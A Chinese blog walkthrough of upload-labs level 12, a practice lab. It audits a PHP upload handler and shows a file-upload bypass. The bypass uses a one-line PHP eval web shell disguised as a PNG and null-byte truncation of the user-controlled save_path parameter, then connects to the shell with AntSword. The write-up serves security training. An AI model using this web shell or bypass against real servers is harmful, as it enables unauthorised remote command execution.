当前位置: 首页 > news >正文

upload-labs第十二关教程

upload-labs第十二关教程

  • 一、源代码分析
    • 代码审计
  • 二、绕过分析
    • 截断绕过
      • magic_quotes_gpc函数介绍
      • 关闭magic_quotes_gpc
      • 上传eval.png文件
      • 使用burpsuite进行抓包修改
      • 放包,查看是否上传成功
      • 使用中国蚁剑进行连接

一、源代码分析

代码审计

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

这里为get请求传递文件路径到服务器,然后这里strrpos() 函数查找字符串在另一字符串中最后一次出现的位置,是后缀名白名单,截取后缀名并随机命名拼接,然后还有对$_GET[‘save_path’]可控。

二、绕过分析

截断绕过

要求:php版本<5.3.29,且magic_quotes_gpc = Off,修改php.ini文件,将magic_quotes_gpc 设置为off

magic_quotes_gpc函数介绍

在PHP中作用是判断解析用户提示的数据,包括post/get/cookie过来的数据增加转义字符"\",以确保这些数据不会引起程序出现致命错误。
在magic_quotes_gpc=on的情况下,如果输入数据有单引号/双引号/反斜线/null字符等,都会被加上反斜线。

关闭magic_quotes_gpc

在php.ini文件内将magic_quotes_gpc改为Off
在这里插入图片描述

上传eval.png文件

<? @eval($_POST['cmd']); ?>

这里直接把eval.php改为eval.png就行了,因为这里没有请求头进行检测,所以可以这样

使用burpsuite进行抓包修改

由于对于save_path可控,所以在这里进行截断操作。
修改之前:
在这里插入图片描述
这里的save_path=../upload/
修改之后:
在这里插入图片描述

这里的save_path=../upload/eval.php%00

放包,查看是否上传成功

在这里插入图片描述
在这里插入图片描述

上传成功。这里虽然显示的是上传的是图片,其实是被截断。使用中国蚁剑时连接eval.php就行了。
在这里插入图片描述

使用中国蚁剑进行连接

在这里插入图片描述

相关文章:

  • 【Redis】基于Redission实现分布式锁(代码实现)
  • macOS聚集搜索功能开启与关闭
  • Excel/WPS《超级处理器》功能介绍与安装下载
  • 判断单链表是否带环且返回节点
  • 云原生巡检监控报告
  • newtonsoft.json动态读取json以及动态生成
  • vue2 + element-ui,前端配置化表单封装(2024-06-14)
  • 对象的扩展
  • Golang 并发编程(Goroutine、Channels、Select、Sync、原子操作函数、Context、gpool)
  • 深入探索面向对象编程(OOP):封装、继承和多态的实际应用
  • Android找不到so,实际上apk中有的
  • jQuery中.text() 和 .val()辨析
  • 从“野人饭”走红,探索品牌户外化营销趋势丨小红书内容分析
  • 【js判断机型】
  • ubuntu22.04禁止自动休眠的几种方式
  • 【5+】跨webview多页面 触发事件(二)
  • 【每日笔记】【Go学习笔记】2019-01-10 codis proxy处理流程
  • Android 初级面试者拾遗(前台界面篇)之 Activity 和 Fragment
  • Angular 4.x 动态创建组件
  • ES6核心特性
  • JavaScript 无符号位移运算符 三个大于号 的使用方法
  • Markdown 语法简单说明
  • php面试题 汇集2
  • React as a UI Runtime(五、列表)
  • Vultr 教程目录
  • 第三十一到第三十三天:我是精明的小卖家(一)
  • 将回调地狱按在地上摩擦的Promise
  • 排序(1):冒泡排序
  • 说说动画卡顿的解决方案
  • 我有几个粽子,和一个故事
  • 用jquery写贪吃蛇
  • RDS-Mysql 物理备份恢复到本地数据库上
  • ​3ds Max插件CG MAGIC图形板块为您提升线条效率!
  • ​总结MySQL 的一些知识点:MySQL 选择数据库​
  • #Z2294. 打印树的直径
  • (04)odoo视图操作
  • (173)FPGA约束:单周期时序分析或默认时序分析
  • (2)STM32单片机上位机
  • (C++)栈的链式存储结构(出栈、入栈、判空、遍历、销毁)(数据结构与算法)
  • (C语言)输入一个序列,判断是否为奇偶交叉数
  • (vue)el-checkbox 实现展示区分 label 和 value(展示值与选中获取值需不同)
  • (安卓)跳转应用市场APP详情页的方式
  • (保姆级教程)Mysql中索引、触发器、存储过程、存储函数的概念、作用,以及如何使用索引、存储过程,代码操作演示
  • (附源码)springboot家庭装修管理系统 毕业设计 613205
  • (附源码)计算机毕业设计SSM智慧停车系统
  • (亲测成功)在centos7.5上安装kvm,通过VNC远程连接并创建多台ubuntu虚拟机(ubuntu server版本)...
  • (一)Kafka 安全之使用 SASL 进行身份验证 —— JAAS 配置、SASL 配置
  • (转)我也是一只IT小小鸟
  • *算法训练(leetcode)第三十九天 | 115. 不同的子序列、583. 两个字符串的删除操作、72. 编辑距离
  • .h头文件 .lib动态链接库文件 .dll 动态链接库
  • .mat 文件的加载与创建 矩阵变图像? ∈ Matlab 使用笔记
  • .net web项目 调用webService
  • .NET 服务 ServiceController
  • .NetCore部署微服务(二)
  • .net流程开发平台的一些难点(1)